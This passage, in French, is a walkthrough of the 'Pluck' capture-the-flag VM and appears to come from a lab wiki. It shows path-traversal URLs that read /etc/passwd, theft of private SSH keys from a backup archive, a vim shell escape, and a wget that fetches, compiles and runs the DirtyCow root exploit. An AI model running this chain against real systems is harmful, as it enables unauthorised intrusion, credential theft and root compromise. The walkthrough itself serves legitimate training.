';
if(strpos($_POST['email'], '\'') !== false) {
echo "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 6";
}else{
echo "Incorrect Username or Password!";
}
?>
On remarque que l'erreur sql sur l'authentification n'est qu'un troll
On récupère le /etc/passwd
http://192.168.43.99/index.php?page=../../../../../../../../../../etc/passwd
{{ :vm:passwd.png?nolink |}}
Sur la dernière ligne on peut lire :
/usr/local/scripts/backup.sh
On récupère le fichier backup.sh
http://192.168.43.99/index.php?page=../../../../../../../../../../usr/local/scripts/backup.sh
#!/bin/bash ######################## # Server Backup script # ######################## #Backup directories in /backups so we can get it via tftp echo "Backing up data" tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null echo "Backup complete"
On se connecte en telnet sur la machine
telnet 192.168.43.99
On récupère le backup.tar
get /backups/backup.tar
Dedans deux dossiers : le /home et le /var/www/html
Dans le /home de l'utilisateur paul un dossier "keys" contient des clés privés et publiques.
total 56K
drwxr-xr-x 2 ark1nar ark1nar 4,0K janv. 18 19:09 .
drwxr-xr-x 3 ark1nar ark1nar 4,0K janv. 18 19:13 ..
-rwxr-xr-x 1 ark1nar ark1nar 668 janv. 18 19:08 id_key1
-rwxr-xr-x 1 ark1nar ark1nar 600 janv. 18 19:08 id_key1.pub
-rwxr-xr-x 1 ark1nar ark1nar 672 janv. 18 19:08 id_key2
-rwxr-xr-x 1 ark1nar ark1nar 600 janv. 18 19:08 id_key2.pub
-rwxr-xr-x 1 ark1nar ark1nar 668 janv. 18 19:08 id_key3
-rwxr-xr-x 1 ark1nar ark1nar 600 janv. 18 19:08 id_key3.pub
-rw------- 1 ark1nar ark1nar 1,7K janv. 18 19:09 id_key4
-rwxr-xr-x 1 ark1nar ark1nar 392 janv. 18 19:09 id_key4.pub
-rwxr-xr-x 1 ark1nar ark1nar 668 janv. 18 19:08 id_key5
-rwxr-xr-x 1 ark1nar ark1nar 600 janv. 18 19:08 id_key5.pub
-rwxr-xr-x 1 ark1nar ark1nar 1,7K janv. 18 19:09 id_key6
-rwxr-xr-x 1 ark1nar ark1nar 392 janv. 18 19:09 id_key6.pub
On essaye de se connecter avec les clé privés.
Seul id_key4 nous renvoie un message différent :
ssh paul@192.168.43.99 -i id_key4
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0755 for 'id_key4' are too open.
It is recommended that your private key files are NOT accessible by others.
This private key will be ignored.
key_load_private_type: bad permissions
paul@192.168.43.99's password:
On met les bons droits sur la clé :
chmod 600 id_key4
La connexion à l'utilisateur se fait sans demander le mot de passe.
__Exploitation système & Élévation de privilège__
On arrive dans un Pdmenu
{{ :vm:pdmenu.png?nolink |}}
On choisit l'option :"Edit File"
On essaye d’éditer n'importe quel fichier et c'est vim qui s'ouvre :
{{ :vm:edit.png?nolink |}}
Une fonctionnalité de vim nous permet d'appeler un shell
:set shell ?
=> shell=/usr/bin/pdmenu
:set shell=/bin/bash
:shell
On récupère la version du noyau :
paul@pluck:~$ uname -a
Linux pluck 4.8.0-22-generic #24-Ubuntu SMP Sat Oct 8 09:15:00 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
Pour passer root nous allons utiliser l'exploit [[
https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679 | dirtycow]]
wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
On le compile :
gcc cowroot.c -o cowroot -pthread
On l’exécute
./cowroot
{{ :vm:root_pluck.png?nolink |}}
Merci à l'auteur de la vm !